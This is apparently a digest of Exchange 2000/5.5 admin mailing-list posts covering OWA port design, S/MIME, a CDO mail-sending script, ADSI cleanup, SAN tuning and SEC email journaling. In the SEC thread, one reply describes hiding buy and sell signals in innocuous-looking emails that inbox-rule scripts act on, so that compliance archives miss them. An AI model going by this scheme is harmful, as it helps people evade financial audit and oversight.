RE: Delegation of Authority

[Clemens, Rick]

I was able to modify the DSSEC.DAT file and reveal the attributes I
needed to delegate.  

I agree with you Ed but I am low on the Totem Pole here and no one up
top understands the sweet sweet language of "Common Sense".

They'd need the permission to change that attribute, which, I believe,
you would have to confer in the Schema.  Really, I think it's a whole
lot of trouble to do that.  Why not make them Account Operators?  Don't
they have to reset passwords and the like as well?

Subject: RE: Open Relay/Spamcop


I'm right there with you on this one. Since I do not know for an
absolute FACT one way or the other it may indeed be the case that a
guest account was used or that an account was compromised.

And God forbid that I even merely hint or suggest that this is a problem
with Microsoft's software or in any way a design flaw, etc. because we
all know that storm that would cause.

But, that being said, I would like to implore to the MVP gods on this
list that they might possibly want to maybe suggest to Microsoft that
they take a look at this for no other reason than to at least modify the
wording on the check boxes. I mean "Anonymous Authentication allowed"
and "Allow computers which successfully authenticate..." on the surface
seems to indicate that yes, you can anonymously authenticate and relay
messages, which I cannot imagine would ever really be very useful to
anyone except a spammer. I mean, change the wording or add a checkbox to
specifically allow, not allow relaying by anonymous authentication. Who
knows, I don't want to start another freaking firestorm about how much I
hate Microsoft, yadda, yadda. I guess my point is that it is OBVIOUSLY
an issue specifically in a lot of small 1-50 person shops that use a
single Exchange server for everything. This is where I have come in and
seen it as a problem. There are exactly the people that don't generally
have qualified IT help, thus because the default configuration seems to
allow this kind of relaying issue it is a "feature" of the product that
is adding to the overall spam problem on the Internet. Maybe the MVP
gods and Microsoft care, maybe not, but I want to be absolutely clear
that I do not care one iota, because if I did everyone would just tell
me how stupid and ignorant and a wife beater I am. So, I don't care and
please do not mistakenly believe that I care. God help us all if an MVP
reads this, thinks I care and starts another massive thread of pointless
arguing.

RE: S/MIME

[Clemens, Rick]

I believe that as long as both parties are using S/MIME you can just
exchange Certificates and put the other government agencies certificates
in your trusted list in KMS.  It still requires that you use Outlook and
Contacts to hold their public key.   Someone please correct me if I'm
wrong!!

Subject: RE: S/MIME


I have a few questions here that I'd like to put out there.  Now, mind
you.  I'm not an expert in this field.  That's why I'm turning to the
people on this list for advice.  With that said.

-Since we have a requirement for secure messaging over the internet with
other government agencies.  We would have to get a third party CA to
accomplish this.  The other agencies that we would want to communicate
with also would have to go through a third party as well to obtain a CA
so we can transmit messages securely between one another?

-Also, since we also have a requirement for us to have secure messaging
internally.  We already have a root CA in place within our organization.
Setting up S/MIME internally isn't that hard.  But if we already have
this root CA in place and we needed to obtain a third party CA.  How
would we implement this third party CA into our already existing root
CA?  I'm sure if there is a way to do this.  Are there any docs that
describe how to accomplish this feat?

Thank you,

All,

I'm trying to setup S/MIME since we all of a sudden require message
security within our organization.  I'm trying to get an understanding on
how this works in the real world.  I've setup a test lab here at work.
But that can only help me understand how to get things done internally.
I'm looking at a braoder scope of allowing our messages to be secure
while passing over the internet to other corporations etc.  Can someone
point me in the direction on what I need to read to understand this a
little bit better I'd really appreciate it.

Also, if anyone wants to contact me offline.  I have a few questions
that I'd like answered if you have time.

TIA,

RE: OWA Design Question

[Clemens, Rick]

It is my understanding that even if I publish OWA through ISA I still
have to open 389, 88, and 53(if we don't use host files) to our network
for authentication.  So it seems that I will just save my self from
opening ports for GC Queries and RPC Traffic.

If you publish OWA through ISA, all you need to open outbound to the
internet is 80 and/or 443 for OWA to function.

If you place a FE server in the DMZ you still have to open 80 and/or 443
outbound to the Internet and open 389, 3268, 88, 53, 135, 1024+ back to
your BE Exchange servers.

At least that is the way I understand it.

Exchange 2000 SP3
Windows 2000 SP4

I am sitting here reading the PDF "Using Microsoft Exchange 2000
Front-End Servers" trying to get a feel for how I should set up OWA
access from the internet for my company.  Currently we have an Exchange
5.5 OWA server in a DMZ with port 443 open from the internet or external
side and on the internal side open to the DC's and Exchange ServersI
know, I know not very secure.The document gives me several scenarios
but the ones I am interested in are Front-End Server in a Perimeter
Network and Advance Firewall in a Perimeter Network.

With the Front-End scenario I have to open 389, 3268, 88, 53, 135, 1024+
or statically map the RPC service Port.  This seems easy enough to do
but it sucks having to swiss cheese the firewall.  Of course Microsoft
recommends the Advance Firewall Scenario (ISA Server)


My question is has anyone setup ISA in a DMZ?  Is it better?  What are
the benefits?  I still have to have ports 389, 88, 53, and 443 open for
authentication and such so what do I gain except for not having to open
up RPC ports?  I am looking at this from the perspective of talking
management into spending the $3000 on the software.belts are tight
so there really has to be a good reason.  And we already have a proxy
server and management doesn't want to replace it so this would be
specific to making OWA access more secure.

Any help would be greatly appreciated.

Agent TAB in Outlook Missing

[Clemens, Rick]

We had a mailbox on Exchange 5.5 which had a script running on the
INBOX.  It was simple...check the properties and go to the Agent Tab and
add the script then ensure that you had the correct permissions on the
EventConfig_(ServerName) folder. 

Well we migrated this mailbox to Exchange 2000 and now I don't see the
Agent Tab (Server Scripting is checked in the ADD IN's) There is no
EventConfig_(ServerName) just a bunch of Store Events (GUID HERE)
folders.  I checked the GUID against my databases and can't find one
that matches.  How do I get this script working again?

RE: Email frm Exch at command ln/script???

[Clemens, Rick]

I use CDO.

Here is a snippet:

set msg = WScript.CreateObject("CDO.Message")
msg.From = "[EMAIL PROTECTED]"
msg.To = "[EMAIL PROTECTED];[EMAIL PROTECTED]
msg.Subject = "Your Subject"
msg.TextBody = "Your Msg Body"
msg.AddAttachment("c:\fileattachment.zip")
msg.Configuration.Fields("http://schemas.microsoft.com/cdo/configuration
/smtpserver") = SMTP Server
msg.Configuration.Fields("http://schemas.microsoft.com/cdo/configuration
/sendusing") = 2
msg.Configuration.Fields.Update
msg.Send

Subject: RE: Email frm Exch at command ln/script???

The only way to do this without any external scripts or programs is to
share out the pickup directory on your Exchange server, create a
specially formatted file (with RFC822 To:, From:, Subject:, etc headers)
and drop it in the shared directory. This wont get you MIME attachments,
though. 

If you want to "attach" files to the email, you will have to use a
program to encode them in either base64 or uuencode. That's going to
require one "something else to worry about" right there.

You may as well use blat. It works great.

The other path would be CDO/MAPI or Outlook via VBScript. Persits
software has a free COM object that can send MAPI mail with attachments.
Likewise, Outlook can be "driven" via VBScript.

yeah the sendmail does appear to do things like sendmail in unix.. I was
just trying to avoide loading yet another something to worry about... I
was hoping there might be some simple something I could do directly with
the exch smtp (IMS) to do this in a script..etc.(without having to
do huge scripting which i bite at)

thx 

I thought about doing a telnet to 25...my Q on that is how would I
attach the 3 files which need to go with the e-mail???

BLAT - I used it a couple times..it's an option...was hoping to avoide
another something if poss..

Ok if I preformat...again how would I attach the 3 files I need
to...

More detail:
See Ive got these 3 files I need to attach to the e-mail...2 are excel,
1 is ZIP. 
these things need to go to an e-mail address every few hours...

You can use Telnet on port 25, connect to your Exchange server and send
a message.

Or you could use Blat - a great command line utility for sending mail.

You also should be able to drop a preformatted text file into the Pickup
directory. The file format should be like this

Subject: Email frm Exch at command ln/script???

Im wondering if there is a way I can e-mail from a command line/script
thru/directly from my exchange box...(Exch55sp4+post, NT4sp6a+post)

Like if I was on my unix box (running sendmail) I might do uuencode
/dr/rpt/rpt.txt |mail [EMAIL PROTECTED] and then cron this 

I did see some of a MS tech note(193685) of loading and using the IIS
SMTP svc to do this... But Id rather not load another svc..etc

SO can anyone one Ya or NA this and/or point me in the direction I need
to go? basically I need to do a script where I can attach like 3 files
to 1 e-mail and have it go out automatically...every X times a day

thx
bill

RE: Rename Administrative Group

[Clemens, Rick]

My Account is a member of the following groups
(This is a Lab Environment)
Enterprise Admin (Root Domain)
Schema Admin (Root Domain)
Domain Admin (Child Domain)

Domain Prep was run in the Child Domain
Exchange 2k was installed in the Child Domain

I have Exchange Full Admin Rights and have removed all Deny's

Still when I right click on the Administrative Group the option to
re-name is not available.

I am running Windows 2000 SP4 and Exchange 2000 SP3 with Post SP3
Roll-up Dated Sept 2003.

Any Ideas?

RE: Finding full mailboxes.

[Clemens, Rick]

I had to create something similar to what you are requesting.  It's a VB
script that uses the MBInfo tool to grab current mailbox sizes and then
grabs Mailbox Limits from Active Directory (ie Warning Limit, Prohibit Send
Limit, Prohibit Send Receive Limit)  It then writes all this information to
an HTML page that is updated every 30 minutes.  Our HelpDesk is able to use
this when users reach their limit and I don't have to give them any rights
to Exchange.  E-mail me and I will show you what it does.

Meant to add, "save the window contents to a file" after sorting, and
there's your report.  Somewhat of a manual process, and not fancy, but
doesn't cost anything and requires no additional software.  Pull the file
into Excel or Access for more sort options.  Maybe not as automated of a
process as you are looking for, but again, cheap.

My only suggestion would be to shut down, AND DISABLE all the stuff you were
going to shutdown, then reboot (That is to say, power off reset) the server
prior to starting the install of the SP.

 I would have given more info if I had more to give.  When you access your
mailbox via the http://server/exchange link i.e. OWA 2000 it opens up just
fine with no errors but when you click on the Folders Icon the "Unknown

to open up a ticket with Microsoft and see what they have to say.

RE: Ghost of 5.5 KMS

[Clemens, Rick]

I had the same problem and here is what we did to resolve it:

Open ADSI Edit (Be Careful Here)

Connect to Configuration Container

cn = configuration
cn = services
cn = Microsoft Exchange
cn = ORGNAME
cn = Administrative Groups
cn = SITENAME
cn = Advanced
Security

With in the Advanced Security container is the Encryption Object.  Open the
properties of this object and look at the KMServer attribute.  You will
probably see a reference to your old Exchange 5.5 KMS server.  Clear this
attribute in each Administrative Group.

I've got two servers in an organisation/site, the first is 5.5 SP4 and the
second is Exchange 2K SP3. The 5.5 server once had KMS installed. If I try
reinstalling it I get an install failure so I've suspicions of something
lurking. The KB articles for cleaning up failed installs have been applied
so theoretically the server should be clean.

I'm now trying to install KMS on the 2K system (which is intended to replace
the 5.5 one) and its saying there is already a KMS in the site. This may be
a replication problem or there may be something still referencing the dead
KMS. Has anyone seen this before or does anyone know what the install
program may be detecting?

RE: IBM's Tivoli Storage Manager

[Clemens, Rick]

We use it here and have had no issues...My only complaint is its lack of
enterprise type reporting.  Unless you have the Tivoli Framework installed
there is not a real good report system.  I had to write a script that parses
the TSM logs on each server to give me an effective report on back up
status.  Still better than BrightStore or Veritas.

Subject: RE: IBM's Tivoli Storage Manager


We use it for all 100+ of our NT4, Win2000, and Unix servers, and for
Exchange, SQL, and Oracle.  We also have their robotic tape unit and
once you get it setup, it works great.  After working with DLT tapes for
years, this system is wonderful since you never have to touch tapes
again.  We still have some mainframe apps left and some operators, so
our operators do the offsite tape removals and insert clean tapes, based
on reports from the TSM server.  It's really nice to be able to backup a
server to disk (TSM server disk) rather than to tape (though it
eventually moves to tape) for those times that you need to move to new
hardware.  

Our full backups start weekly on Friday night and all of our servers are
finished backing up by Saturday night since once you do your initial
full, you only do incremental from then on, except for the databases.
The TSM database tracks locations of all files and we've never had a TSM
database problem.  Restores are a breeze, including Exchange mailbox
restores.  We've been using it for about 5 years and the only issue is
that you need to know exactly what client version each server is running
or, if you do a restore, be sure to do it from the server that you're
restoring unless you upgrade the client version on all servers every
time a new version comes out.

We've used a lot of backup/restore products over the years and this one
has them all beat by far.  It's very expensive, though, so unless you've
got lots of servers, it may not be cost effective.

copy of the SRS there is no such Mailbox.  Should I be worried here?  We
have not yet deleted the SRS off of Server A.we just stopped the SRS
service.  Has anyone done this before?  Any help is greatly appreciated.

RE: Trend Micro 6.1 - OT

[Clemens, Rick]

Were you using Exchange 2000 or 5.5?  We had problems with Exchange 2000 if
you set the Active Message Filter for both Inbound and Outbound it would
shut-down all the Web Services including SMTP, POP, and WEB.Not Good.
We are working with Trend right now to get it fixedThe temp solution is
to not check the Active Message Filter.

Hi all,

We use,- were using Trend Micro, and I moved to Sybari's Antigen 'Trial
version' because the 'real-time' feature of Trend Micro was bringing down
the servers and stopping mail flow.

Has anyone else had this issue and if so were they able to get around it but
still use the 'Real Time' scanning feature.

RE: Disabling accounts in AD/Exchange2000

[Clemens, Rick]

We are having the same problem.  When you disable the account do you delete
the mailbox?  Deleting the mailbox may very well solve your problems and you
can recover deleted mailboxes now in Exchange 2000.

In preparation for our migration to Exchange 2000, we are working on
choosing a SAN to place behind the clustered Exchange servers.  We will also
be moving various other application and file servers to the SAN as time goes
on.
 
Our current data center standard is Dell PowerEdge servers running a mix of
NetWare 5.1/6 and Windows NT4/2000.  We are looking at the
Dell|EMC CX400 and CX600 SANs.  In addition to these models, a
consultant has proposed the IBM FAStT700 SAN.
 
I'd be interested in getting feedback on performance, service, reliability,
etc. from anyone running either of these SANs.
 
Thank you.

RE: Exchange 2000 tuning

[Clemens, Rick]

I would recommend looking at the following counters (straight out of the MEC
2002)

PhysicalDisk(drive:)\Avg. Disk sec/Read
PhysicalDisk(drive:)\Avg. Disk sec/Write

These two counters should be below 0.020 and if Write caching in array
controller the sec/write should be less than 0.002

Anything between 0.020 - 0.050 seconds is a likely bottleneck
Anything greater than 0.050 is definitely a bottleneck.

We are currently utilizing IBM's FAStT Storage Solution as our SAN and are
seeing Avg. Disk sec/Write's periodically as high as 10 seconds.  Needless
to say we have IBM out here trying to resolve it.  I wish we had purchased
the EMC...

For logs I'm using an EMC LUN (is that still the right term for
fibre-channel?) consisting of 5 mirrored pairs of 9GB disk slices.

For the stores, I'm using two of the above LUNs in a Win2k stripe set. Each
exchange server has one storage group consisting of two databases - both on
the stripe set.

The EMC admin tells me the remainder of the disks that I'm on hold low
traffic stuff such as unix operating systems and low volume Oracle
databases.

Looking at the PhysicalDisk perfmon counters for the store disks, I'm
confused. % disk time is averaging 257%. I assume that means the disk is not
keeping up with requests, and some requests are sitting in queue? But % Idle
shows an average of 65%. How can the disk be 257% busy and 65% Idle? Current
queue length is averaging 3 (which sort of correlates to the 257% busy).
Bytes per second is a paltry 380K.

I've asked for tools to "look inside" the EMC to get stats on it's traffic,
but we don't own anything yet (The EMC admin is in the process of buying
something).

Subject: Exchange 2000 tuning


Can anyone recommend any Exchange 2000 or Windows 2000 tuning parameters to
consider tweaking? Or perhaps performance monitor counters to watch that
would indicate problems?

We recently completed migrating about 3500 users from Exchange 5.5 running
on 4 quad 450MHz, 1GB machines to Exchange 2000 running on two dual 1.4GHz
4GB machines (win2k advance, /3GB switch). The old MSX 5.5 servers each had
dual wide SCSI connections to an old EMC Symmetrix. The new servers have
dual FC connections to a Symetrix. The old servers connected to the network
via two teamed 100mbit ethernet lines. The new servers have one gigabit
network link.

Clients are running Outlook 98 and Outlook 2002.

My mailbox was the first moved to one of the new servers. After it was
moved, my outlook 2002 was lightening fast - faster than on the old servers
(which wasn't bad at all).

The problem is that now all the mailboxes are migrated, most everyone sees
worse performance than on the old system. The odd part is that some people
see no almost difference, while some see a significant drop in performance
(as measured by the time it takes to display items in a folder). Viewing
one's calendar seems particularly hard hit.

I can't see any rhyme or reason to why some clients are impacted worse than
others. It's not the client machine speed - I'm running an old Thinkpad 770Z
- 366MHz PII and my performance is OK. It's not network - others around me
(same network path to servers) see problems.

CPU utilization on the servers very seldom goes above 20%, Pages/Sec
typically sits at 0, but does bump to 10 or so.  We were seeing lots of log
stalls, but we raised the number of log buffers which did eliminate the log
stalls, but didn't seem to improve performance any.

We have 3 GCs (1.4GHz, 1GB) in the site where the E2K servers and most all
of the users live.

By all rights the two new machines SHOULD give even better total performance
than the old four. The links to the EMC disks are faster (fibre channel),
the EMC is newer (10K RPM disks, larger cache), the store is spread over
more spindles, and gigabit ethernet. I know the new servers CAN provide more
overall performance because backup time dropped by more than half over the
old servers.

noticed that on LUN 1 my Queue Length peaks at 100 - 150 periodically and
averages about 10.  Is this normal?  I only have 10 users on this server at
this time and am scheduled to migrate another 700 over this weekend.  The 10
users have not complained about performance but I always thought that the
Disk Queue Length should never exceed 1 per disk.  Any thoughts?  Anyone
else using the FAStT SAN solution?

Ex2k Priv grows when the Pub grows?

[Clemens, Rick]

So here is my set up.

Exchange 5.5 SP4
Exchange 2000 SP3 on Windows 2000 Advance Server SP3
I have one Storage Group
I have two Mailbox Stores
Priv1 (3 Users)
Priv2 (0 Users)
I have one Public Folder Store

So I brought up my Ex2k server in my Ex5.5 site and created the second
Mailbox store.  I then started replicating all my public folders in the
Exchange 5.5 environment to my Ex2k Public Folder Store.  Just for giggles I
opened up Windows Explorer to watch the Pub1.edb file grow and to my
amazement so was the Priv2.edb.  So why does that happen?  Anyone else
notice this?  I mean I have no mailboxes on that store except for SMTP and
the System Mailbox.  This is the second time I have seen this happen.can
anyone explain it?

Where are you getting the "separation of duties" part, Eric?  I haven't seen

Mixed Exchange 5.5 SP4 / Exchange 2000 SP3
100% Active Directory
100% Windows 2000 Advanced Server SP4

Our Legal and Security department wants us to provide the ability to access
every e-mail the company sends or receives for a period of 90 days to
satisfy certain SEC requirements.  

The original plan was to Journal everything into a mailbox using an Exchange
5.5 server.  It worked in so far as all the mail went to the
mailbox...but...After it got over 100 messages outlook didn't do a very
good job searching it.

So we moved the Journal to Exchange 2000 and are Indexing it.  With 50
messages so far Outlook searches it pretty fast.  So far so good.

I guess my questions iswhat is everyone else out there doing to satisfy
SEC requirements for Electronic Documents Retention?  Is there a better way?
Or Better Software?

Ahh, the endless quest for compliance.
We are looking at 3 products :  Tumbleweed's Secure Archive, KVS, and EAS.
Of the three, I like KVS the best for a number of reasons: ease of use, very
powerful features, it has a very nice interface - perfect for the compliance
office and the reps have been great.  However, we are using Tumbleweed's
Secure Mail feature now for content filtering etc, so it will probably wind
up being cheaper and easier for us to simply plug in the Secure Archive
component. Remember also that compliance means that all the archiving must
be stored on non-writable, i.e.. optical media, so simply keeping copies of
emails on a hard drive is probably not enough. Your lawyers will have to
make that call whether that meets the requirements. All together, the
archiving solutions run anywhere from 20-40K which typically includes
everything: installation, training, server, software etc...

P.S. Are you only required to keep messages for 90 days? That seems a bit
short.

KVS vault can archive the Journal automatically as it is placed in there, so
you don't build a massive Journal email size. Then use KVS with its indexing
feature to fully searchable emails (including inside attachments).

This will not help you with your SEC problem.  It's just a musing and is
merely to suggest that no audit technique is fool proof.  I think that any
system that you can design, a clever person can get around.

Let me suggest a scenario from back in the days when I was working on virus
delivery techniques and counter measures.  The key to this particular
"almost impossible to detect" nefarious message delivery technique would be
to send a message to an external mailbox that had a client running against
it with in-box rules enabled.  The client could parse the message and
execute a script or even an external program that would generate another
message, which could be sent to any smtp address (or in the case of a virus,
do nefarious things on  its own local network).  So let's say I send a one
word message to my home mailbox that says "hi."  That could trigger a script
that sends a message to tell someone to sell.  Another script triggered by
"dinner tonight" could trigger a script that generates the buy message. You
get the idea. The offending message itself can be as simple or complex but
apparently harmless cipher that you could imagine.  It could even be
embedded in a pattern that looks like I'm sending a daily (or better yet,
apparently random and occasional) note commenting on tonight's menu, with an
"if message text contains" filter at the other end.  A hindered word note
that contained the phrase "rare steak" could be the trigger.  The "to"
address is not that of the ultimate recipient, and the instruction in a form
that you could detect is beyond the reach of your archives and searches.
There reality is, that you simply cannot filter for this sort of thing in
your archives.  You can find someone that is being stupid or careless, but
not someone that is cunning and deliberate.

The extent to which variations on this technique can be used is frightening.
Consider what a batch file on a DOS machine could do, in terms of generating
an Assembly language program by having VB Script simply write stings from an
Excel or Word document to a text file.  The VB Script does not even have to
travel with the Office document, but can simply be running on the machine on
the receiving end.  Such a trigger can be hidden behind layer upon layer of
isolating techniques.  The initial trigger instruction does not have to be
sent via SMTP.  A FAX to something like a SatisFAXtion modem or a call to an
IVR system listening for a specific DMTF sequence that would not be recorded
by your phone system can do it.  A web site can do it.  Web mail to your
home smtp address can do it.  A cellular call . . .  You get the idea. Every
link will leave some tracks, but those tracks can be incomplete and look
very harmless.

Back in the 80's before Microsoft Office became the dominant office suite,
there was a product called "Smartware" by a small company in Lenexa, Kansas
that was later purchased by Informix and destroyed. Smartware had the
equivalent of VBA in all of its modules, and it had a communications module.
The second version of the package even had PEEK and POKE instructions.
Imagine what you could do with that today in and administrative security
context on a Win2K machine in an Internet world.

IMSS SMTP Server Question

[Clemens, Rick]

IMSS which is the next version of Trend Micro's Virus Wall provides the
ability to do reverse DNS lookups.  It is my understanding that this will
help reduce SPAM from bogus addresses but will require more CPU resources to
accomplish.  

My question is is anyone else using Reverse DNS Lookup's?  And what happens
when a companies SMTP server is NAT'd behind a firewall and port 25 is just
passed on to the internal SMTP server?  

The problem being that their External MX record will point to the Firewall
but the SMTP packet will reflect the actual SMTP server name
internally..When My SMTP server tries to reverse DNS lookup on itit
will not be able to resolve and My company will not be able to send e-mail
back and forth with this company.

Am I stating what happens correctly?

do allot of admin work to get it to do its job, also without any reason as I
can tell it just unloads itself and quits working, you can't shut it down as
it is imbedded in the scan mail antivirus service.

What I like about Pure Message is that it sends a "Digest" or list of emails
that it consider red spam to the user and lets the user decided if it spam
and the user then sends the email back edited and then automatically
releases the email that the user decided was not spam.

RE: Exchange 2k/Exchange 5.5 Mixed Mode problem

[Clemens, Rick]

Yes it's a two-way agreement and its set to primary both ways.

"This is a primary connection agreement for the connected exchange
organization."
"This is a primary connection agreement for the connected windows
domain."

Both are checked.

Subject: Exchange 2k/Exchange 5.5 Mixed Mode problem

Windows 2000 SP3
Exchange 5.5 SP4
Exchange 2k SP3

Exchange Site A has 3 Exchange 5.5 Servers
Exchange Site B has 2 Exchange 5.5 Servers
Exchange Site C has 1 Exchange 5.5 Server

We have 3 AD Sites that correspond exactly to our 3 Exchange 5.5 Sites.  We
have set up our ADC and all of our connectors "Two-Way" between AD and
Exchange 5.5.  All Exchange 5.5 information has replicated into our AD
environment no problem.  Any changes I made in Exchange 5.5 or AD were
replicated no problem.  

So we installed our first Exchange Server in Site B and created our first
Exchange 2k mailbox.  I can open mailbox up and send emails to exchange 5.5
users no problem but...the existence of the mailbox does not replicate to
the exchange 5.5 directory for some reason.  Exchange 5.5 doesn't even know
it exists.  So none of my Exchange 5.5 users can see this exchange 2k
mailbox.  Any ideas what I am doing wrong here?

RE: STORE.EXE--CONSUMING TOO MUCH MEMORY

[Clemens, Rick]

I am going through a similar situation.  Our server would go down everyother
night and the only thing in the event log were a ton of 1160's saying it was
out of resources.  We had perfmon'd both threads and resources and could
find nothing hanging or hogging the system.  Our Server is Win2k Advanced
Server with 2.5 GB of RAM.  I called PSS and they recommended that I Put the
"/3GB" switch in my Boot.ini and reboot then run Performance Wizard which
will change my max buffers to 325000.  Normally I would have thought this is
an Exchange2k requirement not Exch 5.5, but PSS said to try it.  You need to
have Advanced Server to run the "/3GB" switch and have it work correctly.  I
will know in a couple of days wether this solved my problem or not.

I would recommend calling PSS

Subject: STORE.EXE--CONSUMING TOO MUCH MEMORY





We are running Exchange 5.5 with the latest service packs and updates. Our
message store consumes more and more memory until is it shut down by
Exchange. This just started happening recently. When it happens, all users
are prevented from connecting via Windows Outlook Client.


What could cause something like this? We are running MacAfee Virus scan and
GroupShield on this machine. Could that have any effect?

IMC and Disjointed Namespace problem

[Clemens, Rick]

Important Information:

Exchange 5.5 SP4
Windows 2000 SP2
100% Active Directory
Internal DNS is Unix Bind 9.2 for americredit.com and acf.americredit.com
External DNS is held by UUNet for americredit.com
Root Domain is americredit.com
Child Domain is acf.americredit.com
All Exchange Servers reside in acf.americredit.com
IMC receives mail for americredit.com
Internet Mail Address is [EMAIL PROTECTED]

The Problem:

IMCServer can receive inbound e-mail no problem but all outbound e-mail
queues up and is never sent out.  I don't know for sure where it queues up
because when it happens and I check the queues (IMC, and MTA of all exchange
servers) there is nothing there.  But as soon as I change the Primary DNS
Suffix of IMCServer from acf.americredit.com to americredit.com all the
internet mail that was sent outbound shows up in the IMC queue and is sent
out.  So the specific question is what am I doing wrong here...am I going to
just have to live with a Dis-Jointed Name Space?  How is this going to
affect an upgrade to Exchange 2000?  If you need more information please
ask.  Thanks for any help you can provide.

RE: Unauthorized Access to mail boxes

[Clemens, Rick]

There are a group of people who have Permissions Admin rights to the entire
exchange environment.  These people have rights to everyones mailbox but are
NOT Authorized to access them without the users permissions.  Thus the
question on Unauthorized access to mailboxes.  I really don't want to get
into a philosophy war about trusting your admins etc.I agree with you
totally.  The reality I am dealing with is in the statement below from the
EVP of Security and I have to deal with it.  So if anyone knows of a tool or
a way to accomplish his needs I would greatly appreciate it.

Thanks.

There is no unauthorized access to mailboxes in Exchange. One can access
mailboxes one has permissions to and cannot access mailboxes which one does
not have permissions to.

Is there any strategy or tools that can alert us, as to unauthorized access
to mail boxes?  



I currently have diagnostic logging enabled on security and it fills the
logs with 1016's everytime anyone does anything to someone elses mailbox
including accessing freebusyObviously this is not what he is looking
for.  Is there any 3rd party tool out there that can hook into Outlook and
monitor the mailbox for access and report on it accurately?

We're running 13.6GB on the main box with 24GB total for our site[1].  The
279meg box belongs to the HMFIC himself so that ain't changing soon. There's
no telling how large the psts's are though[3].

[1] I don't EVEN want to know what the rest of the organization is looking
like[2]. [2] Admin is showing 5.0 servers out there still...

[3] We had a tradition of lousy customer service[4], so moving people from
pst's is not yet a battle worth fighting[5]. [4] Getting that boat turned
around has been a slow process, but we've made about 170 of the 180 degree
turn ... YEA!!! [5] Nice thing about working in the military is that users
are, generally speaking, use to having to take care of themselves.  (i.e. if
they didn't back up their own pst's, they know, their on their own)

I'm curious about the size of people's information store on exchange 5.5 and

Also:
Does anybody know if issues when the IS get's really large or if a single
mailbox get's really large?

Total IS size: 18GB
Largest mailbox 2GB
No issues yet.
